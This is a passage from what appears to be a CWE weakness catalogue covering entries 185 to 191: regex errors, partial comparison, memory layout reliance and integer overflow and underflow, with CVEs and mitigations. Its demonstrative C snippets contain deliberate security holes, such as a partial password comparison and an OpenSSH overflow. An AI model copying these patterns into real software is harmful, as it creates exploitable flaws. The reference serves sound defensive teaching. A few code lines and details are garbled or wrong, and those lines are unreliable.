<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>19</td>
<td>Data Processing Errors</td>
<td>18</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>171</td>
<td>Cleansing, Canonicalization, and Comparison Errors</td>
<td>332</td>
</tr>
<tr>
<td>CanPrecede</td>
<td>B</td>
<td>182</td>
<td>Collapse of Data into Unsafe Value</td>
<td>350</td>
</tr>
<tr>
<td>CanPrecede</td>
<td>B</td>
<td>187</td>
<td>Partial Comparison</td>
<td>357</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>697</td>
<td>Insufficient Comparison</td>
<td>1081</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>990</td>
<td>SFP Secondary Cluster: Tainted Input to Command</td>
<td>1392</td>
</tr>
<tr>
<td>ParentOf</td>
<td>B</td>
<td>186</td>
<td>Overly Restrictive Regular Expression</td>
<td>356</td>
</tr>
<tr>
<td>ParentOf</td>
<td>B</td>
<td>625</td>
<td>Permissive Regular Expression</td>
<td>975</td>
</tr>
<tr>
<td>MemberOf</td>
<td>V</td>
<td>884</td>
<td>CWE Cross-section</td>
<td>1323</td>
</tr>
</tbody>
</table>

**Relationship Notes**

While there is some overlap with whitelist/blacklist problems, this entry is intended to deal with incorrectly written regular expressions, regardless of their intended use. Not every regular expression is intended for use as a whitelist or blacklist. In addition, whitelists and blacklists can be implemented using other mechanisms besides regular expressions.

**Research Gaps**

Regexp errors are likely a primary factor in many MFVs, especially those that require multiple manipulations to exploit. However, they are rarely diagnosed at this level of detail.

**Taxonomy Mappings**

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td>Regular Expression Error</td>
</tr>
</tbody>
</table>

**Related Attack Patterns**

<table>
<thead>
<tr>
<th>CAPEC-ID</th>
<th>Attack Pattern Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>6</td>
<td>Argument Injection</td>
</tr>
<tr>
<td>15</td>
<td>Command Delimiters</td>
</tr>
<tr>
<td>79</td>
<td>Using Slashes in Alternate Encoding</td>
</tr>
<tr>
<td>174</td>
<td>Flash Parameter Injection</td>
</tr>
</tbody>
</table>

**References**


**CWE-186: Overly Restrictive Regular Expression**

<table>
<thead>
<tr>
<th>Weakness ID: 186 (Weakness Base)</th>
<th>Status: Draft</th>
</tr>
</thead>
</table>

**Description**

**Summary**

A regular expression is overly restrictive, which prevents dangerous values from being detected.

**Time of Introduction**

- Implementation

**Applicable Platforms**
Languages
- All

Common Consequences
Access Control
Bypass protection mechanism

Observed Examples
<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2005-1604</td>
<td>MIE. &quot;.php.ns&quot; bypasses &quot;.php$&quot; regexp but is still parsed as PHP by Apache. (manipulates an equivalence property under Apache)</td>
</tr>
</tbody>
</table>

Potential Mitigations
Implementation
Regular expressions can become error prone when defining a complex language even for those experienced in writing grammars. Determine if several smaller regular expressions simplify one large regular expression. Also, subject your regular expression to thorough testing techniques such as equivalence partitioning, boundary value analysis, and robustness. After testing and a reasonable confidence level is achieved, a regular expression may not be foolproof. If an exploit is allowed to slip through, then record the exploit and refactor your regular expression.

Relationships

Relationship Notes
Can overlap whitelist/blacklist errors.

Taxonomy Mappings
<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td>Overly Restrictive Regular Expression</td>
</tr>
</tbody>
</table>

CWE-187: Partial Comparison

Weakness ID: 187 (Weakness Base) Status: Incomplete

Description
Summary
The software performs a comparison that only examines a portion of a factor before determining whether there is a match, such as a substring, leading to resultant weaknesses.

Extended Description
For example, an attacker might succeed in authentication by providing a small password that matches the associated portion of the larger, correct password.

Time of Introduction
- Implementation

Applicable Platforms
Languages
- All

Common Consequences
Integrity
Access Control
Alter execution logic
Bypass protection mechanism

Demonstrative Examples
This example defines a fixed username and password. The AuthenticateUser() function is intended to accept a username and a password from an untrusted user, and check to ensure that it matches
the username and password. If the username and password match, AuthenticateUser() is intended to indicate that authentication succeeded.

**C Example:**

```c
/* Ignore CWE-259 (hard-coded password) and CWE-309 (use of password system for authentication) for this example. */
char *username = "admin";
char *pass = "password";
int AuthenticateUser(char *inUser, char *inPass) {
  if (strncmp(username, inUser, strlen(inUser))) {
    logEvent("Auth failure of username using strlen of inUser");
    return(AUTH_FAIL);
  }
  if (!strncmp(pass, inPass, strlen(inPass))) {
    logEvent("Auth success of password using strlen of inUser");
    return(AUTH_SUCCESS);
  } else {
    logEvent("Auth fail of password using sizeof");
    return(AUTH_FAIL);
  }
}
int main (int argc, char **argv) {
  int authResult;
  if (argc < 3) {
    ExitError("Usage: Provide a username and password");
  }
  authResult = AuthenticateUser(argv[1], argv[2]);
  if (authResult == AUTH_SUCCESS) {
    DoAuthenticatedTask(argv[1]);
  } else {
    ExitError("Authentication failed");
  }
}
```

In AuthenticateUser(), the strncmp() call uses the string length of an attacker-provided inPass parameter in order to determine how many characters to check in the password. So, if the attacker only provides a password of length 1, the check will only examine the first byte of the application’s password before determining success.

As a result, this partial comparison leads to improper authentication (CWE-287).

Any of these passwords would still cause authentication to succeed for the "admin" user:

```
Attack
p
pa
pas
pass
```

This significantly reduces the search space for an attacker, making brute force attacks more feasible.

The same problem also applies to the username, so values such as "a" and "adm" will succeed for the username.

While this demonstrative example may not seem realistic, see the Observed Examples for CVE entries that effectively reflect this same weakness.

**Observed Examples**

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2000-0979</td>
<td>One-character password by attacker checks only against first character of real password.</td>
</tr>
<tr>
<td>CVE-2002-1374</td>
<td>One-character password by attacker checks only against first character of real password.</td>
</tr>
<tr>
<td>CVE-2004-0765</td>
<td>Web browser only checks the hostname portion of a certificate when the hostname portion of the URI is not a fully qualified domain name (FQDN), which allows remote attackers to spoof trusted certificates.</td>
</tr>
<tr>
<td>CVE-2004-1012</td>
<td>Argument parser of an IMAP server treats a partial command &quot;body[p&quot; as if it is &quot;body.peek&quot;, leading to index error and out-of-bounds corruption.</td>
</tr>
</tbody>
</table>
Potential Mitigations
Testing
Thoroughly test the comparison scheme before deploying code into production. Perform positive testing as well as negative testing.

Weakness Ordinalities
Primary (where the weakness exists independent of other weaknesses)

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>171</td>
<td>Cleansing, Canonicalization, and Comparison Errors</td>
<td>699  332</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>697</td>
<td>Insufficient Comparison</td>
<td>1000 1081</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>977</td>
<td>SFP Secondary Cluster: Design</td>
<td>888  1387</td>
</tr>
<tr>
<td>CanFollow</td>
<td>C</td>
<td>185</td>
<td>Incorrect Regular Expression</td>
<td>1000 355</td>
</tr>
<tr>
<td>PeerOf</td>
<td>C</td>
<td>625</td>
<td>Permissive Regular Expression</td>
<td>1000 975</td>
</tr>
<tr>
<td>ParentOf</td>
<td>C</td>
<td>839</td>
<td>Numeric Range Comparison Without Minimum Check</td>
<td>1000 1283</td>
</tr>
</tbody>
</table>

Relationship Notes
This is conceptually similar to other weaknesses, such as insufficient verification and regular expression errors. It is primary to some weaknesses.

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td>Partial Comparison</td>
</tr>
</tbody>
</table>

CWE-188: Reliance on Data/Memory Layout

Weakness ID: 188 (Weakness Base)  Status: Draft

Description

Summary
The software makes invalid assumptions about how protocol data or memory is organized at a lower level, resulting in unintended program behavior.

Extended Description
When changing platforms or protocol versions, data may move in unintended ways. For example, some architectures may place local variables A and B right next to each other with A on top; some may place them next to each other with B on top; and others may add some padding to each. The padding size may vary to ensure that each variable is aligned to a proper word size.

In protocol implementations, it is common to calculate an offset relative to another field to pick out a specific piece of data. Exceptional conditions, often involving new protocol versions, may add corner cases that change the data layout in an unusual way. The result can be that an implementation accesses an unintended field in the packet, treating data of one type as data of another type.

Time of Introduction
- Architecture and Design
- Implementation

Applicable Platforms

Languages
- C
- C++

Common Consequences
- Integrity
- Confidentiality
- Modify memory
- Read memory
  - Can result in unintended modifications or exposure of sensitive memory.

Likelihood of Exploit
- Low
CWE Version 2.11
CWE-189: Numeric Errors

Demonstrative Examples
In this example function, the memory address of variable b is derived by adding 1 to the address of variable a. This derived address is then used to assign the value 0 to b.

**C Example:**

```c
void example() {
    char a;
    char b;
    "(&a + 1) = 0;
}
```

Here, b may not be one byte past a. It may be one byte in front of a. Or, they may have three bytes between them because they are aligned on 32-bit boundaries.

Potential Mitigations

Implementation
Architecture and Design
In flat address space situations, never allow computing memory addresses as offsets from another memory address.

Architecture and Design
Fully specify protocol layout unambiguously, providing a structured grammar (e.g., a compilable yacc grammar).

Testing
Testing: Test that the implementation properly handles each case in the protocol grammar.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>137</td>
<td>Representation Errors</td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>435</td>
<td>Interaction Error</td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>758</td>
<td>Reliance on Undefined, Unspecified, or Implementation-Defined Behavior</td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>977</td>
<td>SFP Secondary Cluster: Design</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td>C</td>
<td>198</td>
<td>Use of Incorrect Byte Ordering</td>
<td>1000</td>
</tr>
</tbody>
</table>

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>CLASP</td>
<td>Reliance on data layout</td>
</tr>
</tbody>
</table>

References


CWE-189: Numeric Errors

Category ID: 189 (Category) Status: Draft

Description

Summary
Weaknesses in this category are related to improper calculation or conversion of numbers.

Applicable Platforms

Languages
• Language-independent

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>19</td>
<td>Data Processing Errors</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td>B</td>
<td>129</td>
<td>Improper Validation of Array Index</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td>B</td>
<td>198</td>
<td>Use of Incorrect Byte Ordering</td>
<td>699</td>
</tr>
<tr>
<td>MemberOf</td>
<td>V</td>
<td>635</td>
<td>Weaknesses Used by NVD</td>
<td>635</td>
</tr>
<tr>
<td>ParentOf</td>
<td>B</td>
<td>681</td>
<td>Incorrect Conversion between Numeric Types</td>
<td>699</td>
</tr>
</tbody>
</table>
CWE-190: Integer Overflow or Wraparound

Weakness ID: 190 *(Weakness Base)*  Status: Incomplete

**Description**

**Summary**

The software performs a calculation that can produce an integer overflow or wraparound, when the logic assumes that the resulting value will always be larger than the original value. This can introduce other weaknesses when the calculation is used for resource management or execution control.

**Extended Description**

An integer overflow or wraparound occurs when an integer value is incremented to a value that is too large to store in the associated representation. When this occurs, the value may wrap to become a very small or negative number. While this may be intended behavior in circumstances that rely on wrapping, it can have security consequences if the wrap is unexpected. This is especially the case if the integer overflow can be triggered using user-supplied inputs. This becomes security-critical when the result is used to control looping, make a security decision, or determine the offset or size in behaviors such as memory allocation, copying, concatenation, etc.

**Terminology Notes**

"Integer overflow" is sometimes used to cover several types of errors, including signedness errors, or buffer overflows that involve manipulation of integer data types instead of characters. Part of the confusion results from the fact that 0xffffffff is -1 in a signed context. Other confusion also arises because of the role that integer overflows have in chains.

**Time of Introduction**

- Implementation

**Applicable Platforms**

**Languages**

- Language-independent

**Common Consequences**

**Availability**

DoS: crash / exit / restart
DoS: resource consumption (CPU)
DoS: resource consumption (memory)
DoS: instability

This weakness will generally lead to undefined behavior and therefore crashes. In the case of overflows involving loop index variables, the likelihood of infinite loops is also high.

**Integrity**

Modify memory

If the value in question is important to data (as opposed to flow), simple data corruption has occurred. Also, if the wrap around results in other conditions such as buffer overflows, further memory corruption may occur.

---

**Nature**  **Type**  **ID**  **Name**  **Page**  **V**
ParentOf  Incorrect Calculation  699  1063

**Taxonomy Mappings**

**Mapped Taxonomy Name**  **Mapped Node Name**
PLOVER  Numeric Errors
Confidentiality
Availability
Access Control
Execute unauthorized code or commands
Bypass protection mechanism
This weakness can sometimes trigger buffer overflows which can be used to execute arbitrary code. This is usually outside the scope of a program's implicit security policy.

Likelihood of Exploit
Medium

Detection Methods
Automated Static Analysis
High
This weakness can often be detected using automated static analysis tools. Many modern tools use data flow analysis or constraint-based techniques to minimize the number of false positives.

Black Box
Moderate
Sometimes, evidence of this weakness can be detected using dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.
Without visibility into the code, black box methods may not be able to sufficiently distinguish this weakness from others, requiring follow-up manual methods to diagnose the underlying problem.

Manual Analysis
High
This weakness can be detected using tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session.
Specifically, manual static analysis is useful for evaluating the correctness of allocation calculations. This can be useful for detecting overflow conditions (CWE-190) or similar weaknesses that might have serious security impacts on the program.
These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.

Automated Static Analysis - Binary / Bytecode
SOAR High
According to SOAR, the following detection techniques may be useful:
Highly cost effective:
  Bytecode Weakness Analysis - including disassembler + source code weakness analysis
  Binary Weakness Analysis - including disassembler + source code weakness analysis

Dynamic Analysis with manual results interpretation
SOAR Partial
According to SOAR, the following detection techniques may be useful:
Cost effective for partial coverage:
  Fuzz Tester
  Framework-based Fuzzer

Manual Static Analysis - Source Code
SOAR Partial
According to SOAR, the following detection techniques may be useful:
Cost effective for partial coverage:
  Manual Source Code Review (not inspections)
Automated Static Analysis - Source Code

SOAR High
According to SOAR, the following detection techniques may be useful:

Highly cost effective:
- Source code Weakness Analyzer
- Context-configured Source Code Weakness Analyzer

Architectural Design Review

SOAR High
According to SOAR, the following detection techniques may be useful:

Highly cost effective:
- Formal Methods / Correct-By-Construction
Cost effective for partial coverage:
- Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Demonstrative Examples

Example 1:
The following image processing code allocates a table for images.

C Example:
```c
struct img_t
{ /* struct containing img data, 10kB each */
    int num_imgs;
    ...
    num_imgs = get_num_imgs();
    table_ptr = (img_t*)malloc(sizeof(img_t)*num_imgs);
    ...
```
This code intends to allocate a table of size num_imgs, however as num_imgs grows large, the calculation determining the size of the list will eventually overflow (CWE-190). This will result in a very small list to be allocated instead. If the subsequent code operates on the list as if it were num_imgs long, it may result in many types of out-of-bounds problems (CWE-119).

Example 2:
The following code excerpt from OpenSSH 3.3 demonstrates a classic case of integer overflow:

C Example:
```c
nresp = packet_get_int();
if (nresp > 0) {
    response = xmalloc(nresp*sizeof(char*));
    for (i = 0; i < nresp; i++) response[i] = packet_get_string(NULL);
}
```
If nresp has the value 1073741824 and sizeof(char*) has its typical value of 4, then the result of the operation nresp*sizeof(char*) overflows, and the argument to xmalloc() will be 0. Most malloc() implementations will happily allocate a 0-byte buffer, causing the subsequent loop iterations to overflow the heap buffer response.

Example 3:
Integer overflows can be complicated and difficult to detect. The following example is an attempt to show how an integer overflow may lead to undefined looping behavior:

C Example:
```c
short int bytesRec = 0;
char buf[32768];
while(bytesRec < MAXGET) {
    bytesRec += getFromInput(buf+bytesRec);
}
```
In the above case, it is entirely possible that bytesRec may overflow, continuously creating a lower number than MAXGET and also overwriting the first MAXGET-1 bytes of buf.

Example 4:
In this example the method determineFirstQuarterRevenue is used to determine the first quarter revenue for an accounting/business application. The method retrieves the monthly sales totals for
the first three months of the year, calculates the first quarter sales totals from the monthly sales
totals, calculates the first quarter revenue based on the first quarter sales, and finally saves the first
quarter revenue results to the database.

C Example:

```c
#define JAN 1
#define FEB 2
#define MAR 3
short getMonthlySales(int month) {...
float calculateRevenueForQuarter(short quarterSold) {...
int determineFirstQuarterRevenue() {
  // Variable for sales revenue for the quarter
  float quarterRevenue = 0.0f;
  short JanSold = getMonthlySales(JAN); /* Get sales in January */
  short FebSold = getMonthlySales(FEB); /* Get sales in February */
  short MarSold = getMonthlySales(MAR); /* Get sales in March */
  // Calculate quarterly total
  short quarterSold = JanSold + FebSold + MarSold;
  // Calculate the total revenue for the quarter
  quarterRevenue = calculateRevenueForQuarter(quarterSold);
  saveFirstQuarterRevenue(quarterRevenue);
  return 0;
}
```

However, in this example the primitive type short int is used for both the monthly and the quarterly
sales variables. In C the short int primitive type has a maximum value of 32768. This creates
a potential integer overflow if the value for the three monthly sales adds up to more than the
maximum value for the short int primitive type. An integer overflow can lead to data corruption,
unexpected behavior, infinite loops and system crashes. To correct the situation the appropriate
primitive type should be used, as in the example below, and/or provide some validation mechanism
to ensure that the maximum value for the primitive type is not exceeded.

C Example:

```c
... float calculateRevenueForQuarter(long quarterSold) {...
int determineFirstQuarterRevenue() {
  ...
  // Calculate quarterly total
  long quarterSold = JanSold + FebSold + MarSold;
  // Calculate the total revenue for the quarter
  quarterRevenue = calculateRevenueForQuarter(quarterSold);
  ...
}
```

Note that an integer overflow could also occur if the quarterSold variable has a primitive type long
but the method calculateRevenueForQuarter has a parameter of type short.

Observed Examples

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2002-0391</td>
<td>Integer overflow via a large number of arguments.</td>
</tr>
<tr>
<td>CVE-2002-0639</td>
<td>Integer overflow in OpenSSH as listed in the demonstrative examples.</td>
</tr>
<tr>
<td>CVE-2004-2013</td>
<td>Length value of -1 leads to allocation of 0 bytes and resultant heap overflow.</td>
</tr>
<tr>
<td>CVE-2005-0102</td>
<td>Length value of -1 leads to allocation of 0 bytes and resultant heap overflow.</td>
</tr>
<tr>
<td>CVE-2005-1141</td>
<td>Image with large width and height leads to integer overflow.</td>
</tr>
<tr>
<td>CVE-2010-2753</td>
<td>chain: integer overflow leads to use-after-free</td>
</tr>
</tbody>
</table>

Potential Mitigations

Requirements

Ensure that all protocols are strictly defined, such that all out-of-bounds behavior can be identified
simply, and require strict conformance to the protocol.
Requirements

Language Selection
Use a language that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
If possible, choose a language or compiler that performs automatic bounds checking.

Architecture and Design

Libraries or Frameworks
Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
Use libraries or frameworks that make it easier to handle numbers without unexpected consequences.
Examples include safe integer handling packages such as SafeInt (C++) or IntegerLib (C or C++).

Implementation

Input Validation
Perform input validation on any numeric input by ensuring that it is within the expected range.
Enforce that the input meets both the minimum and maximum requirements for the expected range.
Use unsigned integers where possible. This makes it easier to perform sanity checks for integer overflows. When signed integers are required, ensure that the range check includes minimum values as well as maximum values.

Implementation

Understand the programming language's underlying representation and how it interacts with numeric calculation (CWE-681). Pay close attention to byte size discrepancies, precision, signed/unsigned distinctions, truncation, conversion and casting between types, "not-a-number" calculations, and how the language handles numbers that are too large or too small for its underlying representation. [R.190.3]
Also be careful to account for 32-bit, 64-bit, and other potential differences that may affect the numeric representation.

Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Implementation

Compilation or Build Hardening
Examine compiler warnings closely and eliminate problems with potential security implications, such as signed / unsigned mismatch in memory operations, or use of uninitialized variables. Even if the weakness is rarely exploitable, a single failure may lead to the compromise of the entire system.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>[V]</th>
<th>[☐]</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>20</td>
<td>Improper Input Validation</td>
<td></td>
<td></td>
<td>700</td>
</tr>
<tr>
<td>CanPrecede</td>
<td></td>
<td>119</td>
<td>Improper Restriction of Operations within the Bounds of a Memory Buffer</td>
<td>1000</td>
<td>680</td>
<td>226</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>682</td>
<td>Incorrect Calculation</td>
<td></td>
<td></td>
<td>699</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1000</td>
<td></td>
<td>1063</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1003</td>
<td></td>
<td></td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>738</td>
<td>CERT C Secure Coding Section 04 - Integers (INT)</td>
<td></td>
<td></td>
<td>734</td>
</tr>
<tr>
<td></td>
<td></td>
<td>742</td>
<td>CERT C Secure Coding Section 08 - Memory Management (MEM)</td>
<td></td>
<td></td>
<td>734</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>802</td>
<td>2010 Top 25 - Risky Resource Management</td>
<td></td>
<td></td>
<td>800</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>865</td>
<td>2011 Top 25 - Risky Resource Management</td>
<td></td>
<td></td>
<td>900</td>
</tr>
</tbody>
</table>
### CWE-190: Integer Overflow or Wraparound

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>872</td>
<td>CERT C++ Secure Coding Section 04 - Integers (INT)</td>
<td>868</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>876</td>
<td>CERT C++ Secure Coding Section 08 - Memory Management (MEM)</td>
<td>868</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>998</td>
<td>SFP Secondary Cluster: Glitch in Computation</td>
<td>888</td>
</tr>
<tr>
<td>PeerOf</td>
<td>E</td>
<td>128</td>
<td>Wrap-around Error</td>
<td>1000</td>
</tr>
<tr>
<td>StartsChain</td>
<td></td>
<td>680</td>
<td>Integer Overflow to Buffer Overflow</td>
<td>709</td>
</tr>
<tr>
<td>MemberOf</td>
<td>V</td>
<td>884</td>
<td>CWE Cross-section</td>
<td>884</td>
</tr>
</tbody>
</table>

#### Relationship Notes

Integer overflows can be primary to buffer overflows.

#### Functional Areas

- Number processing
- Memory management
- Non-specific, counters

#### Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td></td>
<td>Integer overflow (wrap or wraparound)</td>
</tr>
<tr>
<td>7 Pernicious Kingdoms</td>
<td></td>
<td>Integer Overflow</td>
</tr>
<tr>
<td>CLASP</td>
<td></td>
<td>Integer overflow</td>
</tr>
<tr>
<td>CERT C Secure Coding</td>
<td>INT03-C</td>
<td>Use a secure integer library</td>
</tr>
<tr>
<td>CERT C Secure Coding</td>
<td>INT30-C</td>
<td>Ensure that unsigned integer operations do not wrap</td>
</tr>
<tr>
<td>CERT C Secure Coding</td>
<td>INT32-C</td>
<td>Ensure that operations on signed integers do not result in overflow</td>
</tr>
<tr>
<td>CERT C Secure Coding</td>
<td>INT35-C</td>
<td>Evaluate integer expressions in a larger size before comparing or assigning to that size</td>
</tr>
<tr>
<td>CERT C Secure Coding</td>
<td>MEM07-C</td>
<td>Ensure that the arguments to calloc(), when multiplied, can be represented as a size_t</td>
</tr>
<tr>
<td>CERT C Secure Coding</td>
<td>MEM35-C</td>
<td>Allocate sufficient memory for an object</td>
</tr>
<tr>
<td>WASC</td>
<td>3</td>
<td>Integer Overflows</td>
</tr>
<tr>
<td>CERT C++ Secure Coding</td>
<td>INT03-CPP</td>
<td>Use a secure integer library</td>
</tr>
<tr>
<td>CERT C++ Secure Coding</td>
<td>INT30-CPP</td>
<td>Ensure that unsigned integer operations do not wrap</td>
</tr>
<tr>
<td>CERT C++ Secure Coding</td>
<td>INT32-CPP</td>
<td>Ensure that operations on signed integers do not result in overflow</td>
</tr>
<tr>
<td>CERT C++ Secure Coding</td>
<td>INT35-CPP</td>
<td>Evaluate integer expressions in a larger size before comparing or assigning to that size</td>
</tr>
<tr>
<td>CERT C++ Secure Coding</td>
<td>MEM07-CPP</td>
<td>Ensure that the arguments to calloc(), when multiplied, can be represented as a size_t</td>
</tr>
<tr>
<td>CERT C++ Secure Coding</td>
<td>MEM35-CPP</td>
<td>Allocate sufficient memory for an object</td>
</tr>
<tr>
<td>Software Fault Patterns</td>
<td>SFP1</td>
<td>Glitch in computation</td>
</tr>
</tbody>
</table>

#### Related Attack Patterns

<table>
<thead>
<tr>
<th>CAPEC-ID</th>
<th>Attack Pattern Name</th>
<th>(CAPEC Version 2.10)</th>
</tr>
</thead>
<tbody>
<tr>
<td>92</td>
<td>Forced Integer Overflow</td>
<td></td>
</tr>
</tbody>
</table>

#### References


CWE-191: Integer Underflow (Wrap or Wraparound)

<table>
<thead>
<tr>
<th>Weakness ID: 191 (Weakness Base)</th>
<th>Status: Draft</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Description</strong></td>
<td></td>
</tr>
<tr>
<td><strong>Summary</strong></td>
<td></td>
</tr>
<tr>
<td>The product subtracts one value from another, such that the result is less than the minimum allowable integer value, which produces a value that is not equal to the correct result.</td>
<td></td>
</tr>
<tr>
<td><strong>Extended Description</strong></td>
<td></td>
</tr>
<tr>
<td>This can happen in signed and unsigned cases.</td>
<td></td>
</tr>
<tr>
<td><strong>Alternate Terms</strong></td>
<td></td>
</tr>
<tr>
<td>Integer underflow</td>
<td></td>
</tr>
<tr>
<td>&quot;Integer underflow&quot; is sometimes used to identify signedness errors in which an originally positive number becomes negative as a result of subtraction. However, there are cases of bad subtraction in which unsigned integers are involved, so it's not always a signedness issue. &quot;Integer underflow&quot; is occasionally used to describe array index errors in which the index is negative.</td>
<td></td>
</tr>
<tr>
<td><strong>Time of Introduction</strong></td>
<td></td>
</tr>
<tr>
<td>• Implementation</td>
<td></td>
</tr>
<tr>
<td><strong>Applicable Platforms</strong></td>
<td></td>
</tr>
<tr>
<td>Languages</td>
<td></td>
</tr>
<tr>
<td>• C</td>
<td></td>
</tr>
<tr>
<td>• C++</td>
<td></td>
</tr>
<tr>
<td>• Java</td>
<td></td>
</tr>
<tr>
<td>• .NET</td>
<td></td>
</tr>
<tr>
<td><strong>Common Consequences</strong></td>
<td></td>
</tr>
<tr>
<td>Availability</td>
<td></td>
</tr>
<tr>
<td>DoS: crash / exit / restart</td>
<td></td>
</tr>
<tr>
<td>DoS: resource consumption (CPU)</td>
<td></td>
</tr>
<tr>
<td>DoS: resource consumption (memory)</td>
<td></td>
</tr>
<tr>
<td>DoS: instability</td>
<td></td>
</tr>
<tr>
<td>This weakness will generally lead to undefined behavior and therefore crashes. In the case of overflows involving loop index variables, the likelihood of infinite loops is also high.</td>
<td></td>
</tr>
<tr>
<td>Integrity</td>
<td></td>
</tr>
<tr>
<td>Modify memory</td>
<td></td>
</tr>
<tr>
<td>If the value in question is important to data (as opposed to flow), simple data corruption has occurred. Also, if the wrap around results in other conditions such as buffer overflows, further memory corruption may occur.</td>
<td></td>
</tr>
<tr>
<td>Confidentiality</td>
<td></td>
</tr>
<tr>
<td>Availability</td>
<td></td>
</tr>
<tr>
<td>Access Control</td>
<td></td>
</tr>
<tr>
<td>Execute unauthorized code or commands</td>
<td></td>
</tr>
<tr>
<td>Bypass protection mechanism</td>
<td></td>
</tr>
<tr>
<td>This weakness can sometimes trigger buffer overflows which can be used to execute arbitrary code. This is usually outside the scope of a program's implicit security policy.</td>
<td></td>
</tr>
<tr>
<td><strong>Demonstrative Examples</strong></td>
<td></td>
</tr>
<tr>
<td>The following example subtracts from a 32 bit signed integer.</td>
<td></td>
</tr>
</tbody>
</table>
CWE Version 2.11
CWE-192: Integer Coercion Error

C Example:

```c
#include <stdio.h>
#include <stdbool.h>
main (void)
{
    int i;
    i = -2147483648;
    i = i - 1;
    return 0;
}
```

The example has an integer underflow. The value of i is already at the lowest negative value possible, so after subtracting 1, the new value of i is 2147483647.

Observed Examples

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2004-0816</td>
<td>Integer underflow in firewall via malformed packet.</td>
</tr>
<tr>
<td>CVE-2004-1002</td>
<td>Integer underflow by packet with invalid length.</td>
</tr>
<tr>
<td>CVE-2005-0199</td>
<td>Long input causes incorrect length calculation.</td>
</tr>
<tr>
<td>CVE-2005-1891</td>
<td>Malformed icon causes integer underflow in loop counter variable.</td>
</tr>
</tbody>
</table>

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>682</td>
<td>Incorrect Calculation</td>
<td>699</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1000</td>
</tr>
<tr>
